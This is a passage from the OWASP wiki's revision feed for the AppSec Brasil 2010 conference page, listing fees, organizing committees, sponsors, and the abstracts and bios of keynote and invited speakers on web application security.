* OWASP Member:  100.00 BRL (Note: This discount is greater than the OWASP USD 50.00 annual fee. Check [http://www.google.com.br/#q=50+usd+in+brl&amp;amp;fp=1  here]&lt;br /&gt;
* Student:                 100.00 BRL (Note: student ID required).&lt;br /&gt;
* Special discounts available for groups registrations. Please send inquiries to organizacao2010@appsecbrasil.org&lt;br /&gt;
&lt;br /&gt;
==== Committees  ====&lt;br /&gt;
&lt;br /&gt;
== Conference Committee ==&lt;br /&gt;
&lt;br /&gt;
OWASP Global Conferences Committee Chair: Mark Bristow &lt;br /&gt;
&lt;br /&gt;
OWASP [[Brazilian]] Chapter Leader: Wagner Elias &lt;br /&gt;
&lt;br /&gt;
AppSec Brasil 2010 Organization Team (organizacao2010 at appsecbrasil.org): &lt;br /&gt;
&lt;br /&gt;
*Conference General Chair: Lucas C. Ferreira &lt;br /&gt;
*Tutorials Chair: Eduardo Camargo Neves &lt;br /&gt;
*Tracks Chair: Luiz Otávio Duarte &lt;br /&gt;
*Local Chair: Alexandre Melo Braga&lt;br /&gt;
&lt;br /&gt;
=== Team Members  ===&lt;br /&gt;
&lt;br /&gt;
*Alexandre Melo Braga &lt;br /&gt;
*Eduardo Camargo Neves &lt;br /&gt;
*Lucas C. Ferreira &lt;br /&gt;
*Luiz Otávio Duarte &lt;br /&gt;
*Wagner Elias &lt;br /&gt;
*Eduardo Alves Nonato da Silva &lt;br /&gt;
*Leonardo Buonsanti &lt;br /&gt;
*Dinis Cruz &lt;br /&gt;
*Paulo Coimbra&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==  Programme Committee:==&lt;br /&gt;
* Alexandre Braga&lt;br /&gt;
* Carlos Serrao&lt;br /&gt;
* Eduardo alves&lt;br /&gt;
* Fernando Cima&lt;br /&gt;
* Leonardo Buonsanti&lt;br /&gt;
* Lucas Ferreira&lt;br /&gt;
* Luiz Duarte&lt;br /&gt;
* Nelson Uto&lt;br /&gt;
* Rodrigo Rubira&lt;br /&gt;
* Wagner Elias&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Travel ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Twitter ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;twitter&amp;gt;124443335&amp;lt;/twitter&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Links ====&lt;br /&gt;
&lt;br /&gt;
Blog: http://blog.appsecbrasil.org &lt;br /&gt;
&lt;br /&gt;
Twitter: http://twitter.com/owaspappsecbr &lt;br /&gt;
&lt;br /&gt;
Banner: http://www.owasp.org/images/3/31/AppSec_Brasil_2010_Banner.gif&lt;br /&gt;
&lt;br /&gt;
Powerpoint template: [[Media:OWASP_Presentation_Template_BrazilAppSec2010.ppt]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_AppSec_Conference]]&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=AppSec_Brasil_2010&amp;diff=91859</id>
		<title>AppSec Brasil 2010</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=AppSec_Brasil_2010&amp;diff=91859"/>
				<updated>2010-10-22T19:58:36Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Attendee Kit Sponsors */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__ &lt;br /&gt;
&lt;br /&gt;
[[Image:LogoAppSecBrazil.002.jpg|center]] &lt;br /&gt;
&lt;br /&gt;
'''Para a versão em português, veja em [[AppSec Brasil 2010 (pt-br)]]''' &lt;br /&gt;
&lt;br /&gt;
= OWASP AppSec Brasil 2010  =&lt;br /&gt;
&lt;br /&gt;
The Second Edition of OWASP's flagship conference in South America will happen in Campinas, SP, Brazil. The Conference consists of two days of training sessions, followed by a two-day conference on a single track. &lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Image:AppSec Brasil 2010 Campinas.jpg|500px]] &lt;br /&gt;
&amp;lt;/center&amp;gt; &lt;br /&gt;
== Conference Dates  ==&lt;br /&gt;
&lt;br /&gt;
The conference will happen from '''November 16th, 2010 to November 19th, 2010'''. The first two days will be tutorial days (see below). Plenary sessions will be held on November 18th and 19th. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== About ====&lt;br /&gt;
&lt;br /&gt;
== About the conference ==&lt;br /&gt;
&lt;br /&gt;
Following the success of the first AppSec Brasil, held in Brasilia in 2009, the OWASP Brazilian Chapter is organizing its second edition in 2010. AppSec Brasil 2010 will happen in the city of Campinas, located 90 km from São Paulo. &lt;br /&gt;
&lt;br /&gt;
Campinas is the 3rd biggest city in the State of São Paulo and is an important economic center and hosts major universities and research centers. It is known to concentrate several high tech industries, including important multi-national companies in the fields of electronics, telecom and chemicals. &lt;br /&gt;
&lt;br /&gt;
This year, we expect to gather a number of Brazilian and Latin American practitioners and researchers to share state-of-the-art information about application security. &lt;br /&gt;
&lt;br /&gt;
==== Sponsorship  ====&lt;br /&gt;
&lt;br /&gt;
We are currently soliciting sponsors for the AppSec Brasil 2010 Conference. Detailed [[Media:OWASP_-_Sponsorship_Opportunities_-_EN_V.1.2.pdf|sponsorship oportunities]] are now available. &lt;br /&gt;
&lt;br /&gt;
If you are interested in sponsoring AppSec Brasil 2010, please contact the Conference Organization Team (organizacao2010@appsecbrasil.org). &lt;br /&gt;
&lt;br /&gt;
== Sponsors  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Platinum Sponsors  ==&lt;br /&gt;
{|&lt;br /&gt;
| [[Image:AppSec Brasil 2010 CPQD.jpg|200px|link=http://www.cpqd.com.br]]&lt;br /&gt;
|-&lt;br /&gt;
| &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
== Gold Sponsors  ==&lt;br /&gt;
{|&lt;br /&gt;
| [[Image:LeadComm Logo Screen.jpg|150px|link=http://www.leadcomm.com.br]]&lt;br /&gt;
| width=&amp;quot;50&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
| [[Image:Logo PagSeguro-Uma empresa-UOL.jpg|150px|link=http://www.pagseguro.uol.com.br]]&lt;br /&gt;
|-&lt;br /&gt;
| &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Silver Sponsor  ==&lt;br /&gt;
&lt;br /&gt;
{|&lt;br /&gt;
|-&lt;br /&gt;
| [[Image:AppSec Brasil 2010 Serpro.png|150px]]&lt;br /&gt;
|-&lt;br /&gt;
| &amp;amp;nbsp;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Attendee Kit Sponsors  ===&lt;br /&gt;
{|&lt;br /&gt;
| [[Image:Logotipo_Conviso_2009_Cor.png|150px]]&lt;br /&gt;
| width=&amp;quot;50&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
| [[Image:lgClavis.png|110px|link=http://www.clavis.com.br]]&lt;br /&gt;
|-&lt;br /&gt;
| &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Promoted by  ==&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Image:Appsec Brasil 2010 InstitutoTuring.png]] &lt;br /&gt;
&amp;lt;/center&amp;gt; &lt;br /&gt;
==== Keynotes  ====&lt;br /&gt;
&lt;br /&gt;
==Robert 'Rsnake' Hansen ==&lt;br /&gt;
&lt;br /&gt;
[http://www.sectheory.com/ SecTheory]&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''The Humble Cookie'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
The simplest thing in our browser that has caused the most confusion and worry is the cookie.  This presentation will discuss what it is, how cookies work, the little known aspects of them, and dozens of attacks to steal them, set them, crack them or abuse trust based on them.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:''''' Robert Hansen aka RSnake is the CEO and founder of SecTheory. He has worked for Digital Island, Exodus Communications and Cable &amp;amp; Wireless in varying roles from Sr. Security Architect and eventually product managing many of the managed security services product lines.  He also worked at eBay as a Sr. Global Product Manager of Trust and Safety, focusing on anti-phishing, anti-DHTML malware and anti-virus strategies.  Later he worked as a director of product management for Realtor.com.  Robert sits on the advisory board for the Intrepidus Group, previously sat on the technical advisory board of ClickForensics and currently contributes to the security strategy of several startup companies.&lt;br /&gt;
&lt;br /&gt;
Mr. Hansen wrote Detecting Malice, authors content on O'Reilly and co-authored &amp;quot;XSS Exploits&amp;quot; by Syngress publishing.  He sits on the NIST.gov Software Assurance Metrics and Tool Evaluation group focusing on web application security scanners and the Web Application Security Scanners Evaluation Criteria (WASC-WASSEC) group.  He also has briefed the DoD at the Pentagon and speaks at SourceBoston, Secure360, GFIRST/US-CERT, CSI, Toorcon, APWG, ISSA, TRISC, World OWASP/WASC conferences, SANS, Microsoft's Bluehat, Blackhat, DefCon, SecTor, BSides, Networld+Interop, and has been the keynote speaker at the New York Cyber Security Conference, NITES and OWASP Appsec Asia.  Mr. Hansen is a member of Infragard, West Austin Rotary, WASC, IACSP, APWG, contributed to the OWASP 2.0 guide and is on the OWASP Connections Committee.&lt;br /&gt;
&lt;br /&gt;
Robert also maintains the http://ha.ckers.org website where he discuss web application security and provides lots of useful content to be used against web application attacks.&lt;br /&gt;
&lt;br /&gt;
== Jeremiah Grossman ==&lt;br /&gt;
&lt;br /&gt;
[http://www.whitehatsec.com/ WhiteHat Security] &lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''TBD.''' &lt;br /&gt;
&lt;br /&gt;
'''''Bio:''''' Jeremiah Grossman, founder and CTO, WhiteHat Security, is a world-renowned Web security expert. A co-founder of the Web Application Security Consortium (WASC), he was named to InfoWorld's Top 25 CTOs in 2007 and is frequently quoted by business and technical media. He has authored dozens of articles and whitepapers, is credited with the discovery of many cutting-edge attack and defensive techniques, and is a co-author of &amp;quot;XSS Attacks: Cross Site Scripting Exploits and Defense.&amp;quot; Grossman is also an influential blogger who offers insight and encourages open dialogue regarding Web security research and trends. Prior to WhiteHat, Grossman was an information security officer at Yahoo! &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Invited Speakers ====&lt;br /&gt;
&lt;br /&gt;
== Samy Kamkar==&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''How I Met Your Girlfriend: The discovery and execution of entirely new classes of Web attacks in order to meet your girlfriend.'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:''''' &lt;br /&gt;
This includes entertaining and newly discovered attacks including PHP session&lt;br /&gt;
prediction and random numbers (accurately guessing PHP session cookies),&lt;br /&gt;
browser protocol confusion (turning a browser into an SMTP server), firewall and&lt;br /&gt;
NAT penetration via Javascript (turning your router against you), remote iPhone&lt;br /&gt;
Google Maps hijacking (iPhone penetration combined with HTTP man-in-themiddle),&lt;br /&gt;
extracting extremely accurate geolocation information from a Web browser&lt;br /&gt;
(not using IP geolocation), and more.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Samy Kamkar is best known for the Samy worm, the first XSS worm,&lt;br /&gt;
infecting over one million users on MySpace in less than 24 hours. A cofounder&lt;br /&gt;
of Fonality, Inc., an IP PBX company, Samy previously led the&lt;br /&gt;
development of all top-level domain name server software and systems for&lt;br /&gt;
Global Domains International (.ws).&lt;br /&gt;
&lt;br /&gt;
In the past 10 years, Samy has focused on evolutionary and genetic&lt;br /&gt;
algorithmic software development, Voice over IP software development,&lt;br /&gt;
automated security and vulnerability research in network security, reverse&lt;br /&gt;
engineering, and network gaming. When not strapped behind the Matrix,&lt;br /&gt;
Samy can be found stunt driving and getting involved in local community&lt;br /&gt;
service projects.&lt;br /&gt;
&lt;br /&gt;
== Mano Paul ==&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Wild Wild Wild Security Planet''' &lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
Organisms keep themselves safe in a world that's every bit as unpredictable&lt;br /&gt;
as our world. This presentation will parallel what we can learn from the&lt;br /&gt;
world of art, literature, science, nature and apply it to the world of&lt;br /&gt;
software security. For e.g., If Shakespeare had to write about software&lt;br /&gt;
security, what would he write? What does a naked motorist have to do with&lt;br /&gt;
loose lips that sink ships? What does pH have to do with software&lt;br /&gt;
vulnerabilities? What does the Stick Insects' regenerative ability have to&lt;br /&gt;
do with software 'bugs'? or can the Ostrich sticking its head in the sand&lt;br /&gt;
behavior reflect the modicum of risk management we observe today and many&lt;br /&gt;
more ...&lt;br /&gt;
&lt;br /&gt;
The talk would be a fun-filled, extremely interactive session covering&lt;br /&gt;
various concepts of security from risk management, defense in depth, secure&lt;br /&gt;
programming, threats and vulnerabilities and compliance and more ... Come to&lt;br /&gt;
find out the answers to the questions above and see what it takes to develop&lt;br /&gt;
software with a security mindset throughout its life cycle. Come and look at&lt;br /&gt;
software security from a different perspective that would make ALL the&lt;br /&gt;
difference for you and your company.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
[[Image:Mano_Paul.jpg|thumb|10px|frame|left|Mano Paul]]&lt;br /&gt;
&amp;lt;b&amp;gt;Shark Researcher turned Security Guru!&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Manoranjan (Mano) Paul&amp;lt;/b&amp;gt; (CSSLP, CISSP, AMBCI, MCSD, MCAD, CompTIA Network+, ECSA) is the Founder and CEO at [http://www.securisksolutions.com SecuRisk Solutions] and [http://www.expresscertifications.com Express Certifications]. Based out of Austin, Texas in the USA, SecuRisk Solutions specializes in three areas of information security solutions - Product Development, Consulting and Awareness, Training &amp;amp; Education while Express Certifications focuses on professional certifications like the CISSP, SSCP, CSSLP and the BCI certificate. &lt;br /&gt;
&lt;br /&gt;
Before SecuRisk Solutions and Express Certifications, Mano played several roles from software developer, quality assurance tester, logistics manager, technical architect, IT strategist and Security Engineer/Program Manager/Strategist at Dell Inc. His information security experience includes designing and developing software security programs from Compliance-to-Coding, application security risk management, security strategy &amp;amp; management, and conducting security awareness training and education. &lt;br /&gt;
&lt;br /&gt;
Mano started his career as a shark researcher in the Bimini Biological Field Station, Bahamas. His educational pursuit took him to the University of Oklahoma where he received his Business Administration degree in Management Information Systems (MIS) with various accolades and the coveted 4.0 GPA. He was a member and chair of the OWASP Global Education Committee and actively participates in OWASP speaking, training and leadership events. He is also the appointed Software Assurance Advisor for (ISC)&amp;lt;sup&amp;gt;2&amp;lt;/sup&amp;gt;, representing and advising the organization on software assurance strategy, training, education and certification. He is  an appointed faculty member and industry representative of the Capitol of Texas Information System Security Association (ISSA) chapter. &lt;br /&gt;
&lt;br /&gt;
Mano has been featured in various domestic and international security conferences and is an invited speaker and panelist, delivering talks and keynotes in conferences such as the OWASP, CSI, Burton Group Catalyst, TRISC and SC World Congress conferences.  He is the author of the Official (ISC)&amp;lt;sup&amp;gt;2&amp;lt;/sup&amp;gt; Guide to the Certified Secure Software Lifecycle Professional (CSSLP&amp;lt;sup&amp;gt;CM&amp;lt;/sup&amp;gt;), contributing author for the Information Security Management Handbook, writes periodically for the Certification Magazine and has contributed to several security topics for the Microsoft Solutions Developer Network (MSDN).&lt;br /&gt;
&lt;br /&gt;
Mano is married to whom he calls the “most wonderful and sacrificial person in this world” - Sangeetha Johnson and their greatest fulfillment comes from spending time with the son – Reuben A Paul (RAP).&lt;br /&gt;
&lt;br /&gt;
==Chris Hofmann==&lt;br /&gt;
&lt;br /&gt;
'''''Title:'''''  '''TBD''' &lt;br /&gt;
&lt;br /&gt;
'''''Abstract:''''' TBD.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:''''' TBD.&lt;br /&gt;
&lt;br /&gt;
====Speakers====&lt;br /&gt;
&lt;br /&gt;
==Cassio Goldschmidt==&lt;br /&gt;
Symantec&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Responsibility for the Harm and Risk of Software Security Flaws'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
Who is responsible for the harm and risk of security flaws? The advent of worldwide networks such as the internet made software security (or the lack of software security) became a problem of international proportions. There are no mathematical/statistical risk models available today to assess networked systems with interdependent failures. Without this tool, decision-makers are bound to overinvest in activities that don’t generate the desired return on investment or under invest on mitigations, risking dreadful consequences.  Experience suggests that no party is solely responsible for the harm and risk of software security flaws but a model of partial responsibility can only emerge once the duties and motivations of all parties are examine and understood. &lt;br /&gt;
&lt;br /&gt;
State of the art practices in software development won’t guarantee products free of flaws. The infinite principles of mathematics are not properly implemented in modern computer hardware without having to truncate numbers and calculations. Many of the most common operating systems, network protocols and programming languages used today were first conceived without the basic principles of security in mind. Compromises are made to maintain compatibility of newer versions of these systems with previous versions. Evolving software inherits all flaws and risks that are present in this layered and interdependent solution. Lastly, there are no formal ways to prove software correctness using neither mathematics nor definitive authority to assert the absence of vulnerabilities. The slightest coding error can lead to a fatal flaw. Without a doubt, vulnerabilities in software applications will continue to be part of our daily lives for years to come.  &lt;br /&gt;
&lt;br /&gt;
Decisions made by adopters such as whether to install a patch, upgrade a system or employed insecure configurations create externalities that have implications on the security of other systems. Proper cyber hygiene and education are vital to stop the proliferation of computer worms, viruses and botnets. Furthermore, end users, corporations and large governments directly influence software vendors’ decisions to invest on security by voting with their money every time software is purchased or pirated.&lt;br /&gt;
&lt;br /&gt;
Security researchers largely influence the overall state of software security depending on the approach taken to disclose findings. While many believe full disclosure practices helped the software industry to advance security in the past, several of the most devastating computer worms were created by borrowing from information detailed by researcher’s full disclosure. Both incentives and penalties were created for security researchers: a number of stories of vendors suing security researchers are available in the press. Some countries enacted laws banning the use and development of “hacking tools”.  At the same time, companies such as iDefense promoted the creation of a market for security vulnerabilities providing rewards that are larger than a year’s worth of salary for a software practitioner in countries such as China and India. &lt;br /&gt;
&lt;br /&gt;
Effective policy and standards can serve as leverage to fix the problem either by providing incentives or penalties.  Attempts such PCI created a perverse incentive that diverted decision makers’ goals to compliance instead of security. Stiff mandates and ineffective laws have been observed internationally. Given the fast pace of the industry, laws to combat software vulnerabilities may become obsolete before they are enacted. Alternatively, the government can use its own buying power to encourage adoption of good security standards. One example of this is the Federal Desktop Core Configuration (FDCC).&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Cassio Goldschmidt is senior manager of the product security team under the Office of the CTO at Symantec Corporation. In this role he leads efforts across the company to ensure &lt;br /&gt;
secure development of software products. His responsibilities include managing Symantec’s internal secure software development process, training, threat modeling, penetration testing and vulnerability manegement. Cassio’s background includes over 14 years of technical and managerial experience in the software industry. During the eight years he has been with Symantec, he has helped to architect, design and develop several top selling product releases, conducted numerous security classes, and coordinated various penetration tests. Cassio is also known for leading the OWASP chapter in Los Angeles and is a frequent speaker at security conferences worldwide.&lt;br /&gt;
&lt;br /&gt;
Cassio represents Symantec on the SAFECode technical committee and (ISC)2 in the development of the CSSLP certification. He holds a bachelor degree in computer science from Pontificia Universidade Catolica do Rio Grande Do Sul, a masters degree in software engineering from Santa Clara University, and a masters of business administration from the University of Southern California.&lt;br /&gt;
&lt;br /&gt;
==Amichai Shulman==&lt;br /&gt;
Imperva&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Business Logic Attacks – BATs and BLBs'''&lt;br /&gt;
&lt;br /&gt;
'''''Other authors:''''' Amichai Shulman, Rob Rachwald&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
Cyber attacks are being committed more often by professionals, and are increasingly driven by financial motives. Researchers have discovered the increasing popularity of a certain class of attacks that target business logic. Business logic attacks are a set of legal application transactions that are used to carry out a malicious operation that is not part of normal business practices. For example, brute forcing coupon codes in an ecommerce application to receive multiple discounts. This presentation will provide a quick introduction to business logic attacks, their unique characteristics and the motivation behind their uptick. The session will suggest a classification method for these attacks from which attendees can draw a set of required mitigation capabilities. We will discuss capabilities required for detecting automated interaction with the application, different types of repetitions, flow tampering and even compromised credentials. We will also contemplate on the usage of mitigation techniques such as Captcha, introducing delays and more. Concluding this session we will bring up the claim that all these capabilities can be introduced in the form of a &amp;quot;virtual patch&amp;quot; using a web application firewall, rather than being exclusively fixed in application code.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Amichai Shulman is Co-Founder and CTO of Imperva, where he heads the Application Defense Center (ADC), Imperva's internationally recognized research organization focused on security and compliance. Mr. Shulman regularly lectures at trade conferences and delivers monthly eSeminars. The press draws on Mr. Shulman's expertise to comment on breaking news, including security breaches, mitigation techniques, and related technologies. Under his direction, the ADC has been credited with the discovery of serious vulnerabilities in commercial Web application and database products, including Oracle, IBM, and Microsoft. Prior to Imperva, Mr. Shulman was founder and CTO of Edvice Security Services Ltd., a consulting group that provided application and database security services to major financial institutions, including Web and database penetration testing and security strategy, design and implementation. Mr. Shulman served in the Israel Defense Forces, where he led a team that identified new computer attack and defense techniques. He has B.Sc and Masters Degrees in Computer Science from the Technion, Israel Institute of Technology.&lt;br /&gt;
&lt;br /&gt;
==Gabriel Quadros==&lt;br /&gt;
Conviso IT Security&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Taint Analysis of JavaScript Code to Detect Web Application Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
Modern Web applications make increasing use of client-side code, with JavaScript being the most present in most of them. Several vulnerabilities are introduced through the careless use of this language. The publicly available analysis tools are usually based on pattern matching to find potential vulnerabilities, but this is not an efficient approach to analyze large amounts of code. Therefore, there is a need to develop tools to perform more advanced analysis like Taint Analysis and Symbolic Execution. This article discusses various approaches to dynamic analysis of JavaScript code and presents the JsInstrumentator tool, which is being developed by Conviso Security Labs.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Gabriel Quadros começou a estudar segurança da informação em 2003, com interesse principal em engenharia reversa, pesquisa de vulnerabilidades e desenvolvimento de exploits.&lt;br /&gt;
&lt;br /&gt;
Atualmente cursa o último ano do Bacharelado em Ciência da Computação na Universidade Estadual do Sudoeste da Bahia - UESB.&lt;br /&gt;
&lt;br /&gt;
Em abril de 2010, começou suas atividades como consultor de segurança na Conviso IT Security.&lt;br /&gt;
&lt;br /&gt;
==Tony Rodrigues==&lt;br /&gt;
Provider IT Business Solutions&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Tony’s Top 10 Application Artifacts: A Computer Forensics Approach to OWASP Top 10'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
Application Computer Forensics has many peculiarities comparing to others Computer Forensics disciplines. It requires not only distinctive techniques but also deep knowledge of specific artifacts. This presentation is about the top ten artifacts related to application computer forensics/digital investigations and their relation to OWASP Top 10 Risks.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Tony Rodrigues é um profissional certificado CISSP, CFCP e Security+ com mais de 20 anos de experiência em TI e 8 anos em Gestão de Segurança de Informações. Já liderou várias investigações,	perícias e pesquisas sobre Computação Forense. Tony é consultor em Segurança de Informações e palestrou em importantes conferencias internacionais (CNASI, H2HC,YSTS). É autor/criador do blog forcomp.blogspot.com, sobre Resposta a Incidentes e Forense Computacional e também colabora com artigos no blog de Computer Forensics da SANS.&lt;br /&gt;
&lt;br /&gt;
==Henrich Christopher Pöhls==&lt;br /&gt;
University of Passau - ISL&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''The State of XML Digital Signatures --- How to Avoid Technical Pitfalls and Harvest the Power of Newer Signature Schemes'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
XML Digital Signatures are a complex tool, applied right they help to ensure legal compliance, &lt;br /&gt;
but there are many pitfalls. &lt;br /&gt;
This talk will provide some basic steps that users and implementers should follow to avoid the pitfalls, &lt;br /&gt;
among them are:&lt;br /&gt;
* Solid Understanding of the XML Signature processing and verification steps &lt;br /&gt;
* Use of simplistic and coherent references when creating XML Digital Signature&lt;br /&gt;
* Know how to Test what was signed before acting upon it (BitFlip Test)&lt;br /&gt;
The Talk will also provide an overview of new applications for recent  and more specialized &lt;br /&gt;
digital signature schemes, like sanitizable signature schemes (academic research since roughly 2000) that allow to deal with the need&lt;br /&gt;
to modify already signed content. And it will highlight the security relevant changes that are planned &lt;br /&gt;
for the upcoming version of XML Signature Syntax and Processing 2.0.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Henrich C. Pöhls has presented his scientific work on digital signatures at several academic conferences (i.e. ICICS, GI, Invited Talks) or to technical audiences (i.e. DFN CERT, OWASP). Instructor of a practical IT-security university class for Computer Science and IT-Security Master students for the last 7 years. He has established this course first at the University of Hamburg in 2004 and than at the University of Passau in 2008. The course, now titled &amp;quot;Security Infrastructures&amp;quot;, is centered around security infrastructures focussing on secure &amp;amp; authenticated access through the use of digital signatures.&lt;br /&gt;
&lt;br /&gt;
It involves setting-up a certificate authority, using digital signatures and X509 certificates mostly for authentication in open-source software like client and server authentication with apache, secure DNS zone transfers, or client and server authentication in openvpn, as well as in MS Windows environments.It also covers certificate revocation using CRLs and OCSP. Henrich C. Pöhls draws from a rich repository of his own experience from his academic research in the field and the 7 years of using the available tools for creating, applying and managing digital signatures and X509 certificates in different versions and seeing his students struggle with the pitfalls trying to get it to work.&lt;br /&gt;
&lt;br /&gt;
==Rodrigo Montoro==&lt;br /&gt;
Trustwave Spiderlabs&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Web Application First Aid - Virtual Patching with ModSecurity'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
This presentation will show how to mitigate security problems that you may found after your application goes to the real world . Weʼll talk about how to analyze a security report, understand how modsecurity works and how based on the report to create a virtual patching using modsecurity rules.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Rodrigo “Sp0oKeR” Montoro possui grande experiência em ambientes opensource e mercado de segurança especialmente na parte de IPS/IDS , malwares e protocolos. Atualmente trabalha no time de pesquisas do SpiderLabs (Trustwave) onde faz parte do core team de assinaturas do modsecurity além de analise de malwares, assinaturas de IDS e pesquisas na area de arquivos maliciosos especialmente pdfʼs.&lt;br /&gt;
&lt;br /&gt;
==Brian Contos==&lt;br /&gt;
McAfee&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Exploring Three Modern Attack Vectors:  Insiders, Industrialized and APTs'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
Attacks are coming from all angles. In some cases they are very rudimentary; in others they are highly complex. Organizations must be able to protect themselves regardless, and do so in a way this is in parity with business operations, maintains employee and partner agility, and is manageable without the complexity of the solution being worse than the attack itself.&lt;br /&gt;
&lt;br /&gt;
Failure to address these three different attack types can result in everything from diminished brand loyalty, regulatory penalties, and lost revenue, to stolen intellectual property, economic competitive disadvantage, and military competitive disadvantage.&lt;br /&gt;
Based on research from McAfee Labs and customer interactions across the globe in the public and private sector, there is much information that can be shared about these attackers and their strategies.&lt;br /&gt;
&lt;br /&gt;
Attendees will leave the presentation more knowledgeable about insider threats, industrialized hacking, and APTs. They will have a strong grasp of the attacker motives and understand their attack vectors. The audience will also be exposed to several non-vender, non-product specific countermeasures that they can leverage within their own organizations.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Mr. Contos has over 15 years of security engineering and management expertise. He has worked throughout North and South America, Europe, the Middle East, and Asia. At McAfee he advises government organizations and G2000s on security strategy.	He has written two books including Enemy at the Water Cooler – Real Life Stories of Insider Threats, and Physical and Logical Security Convergence which he co-authored with former NSA Deputy Director William Crowell. He has delivered speeches at industry events like RSA, Black Hat, Interop, OWASP, CSI, ISACA, ISSA, InfraGard and eCrime. He is often quoted by business and industry press, and has written articles for Forbes, NY Times, London Times, Computerworld, and many others. He was formerly the Chief Security Strategist for Imperva, the Chief Security Officer for ArcSight, and has held management and engineering positions at Riptech, Bell Labs, Tandem Computers, and DISA.&lt;br /&gt;
&lt;br /&gt;
==Christophe De La Fuente==&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Testing and Fuzzing FLEX: More fun with RIA'''&lt;br /&gt;
&lt;br /&gt;
'''''Additional author:''''' '''Matt Tesauro'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
FLEX is a popular choice for the brave new world of web 2.0 applications. While the game may have appeared to change, rich Internet applications (RIA) still allow for the same vulnerabilities and design mistakes to be made. This presentation will cover methods for testing Adobe FLEX applications including the new version 4 and will look at such issues as cross-­-site flashing, remote calls and fuzzing. Additionally, there will be coverage of tools to test FLEX and other Flash applications including their addition to the OWASP WTE (Web Testing Environment). Finally, some design issues which may hamper FLEX development will be discussed in a brief case study.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Christophe is a Security Consultant within the Application Security practice at Trustwave's SpiderLabs. SpiderLabs is the advanced security team responsible for Penetration Testing, Application Security, and Incident Response for Trustwave's clients. &lt;br /&gt;
&lt;br /&gt;
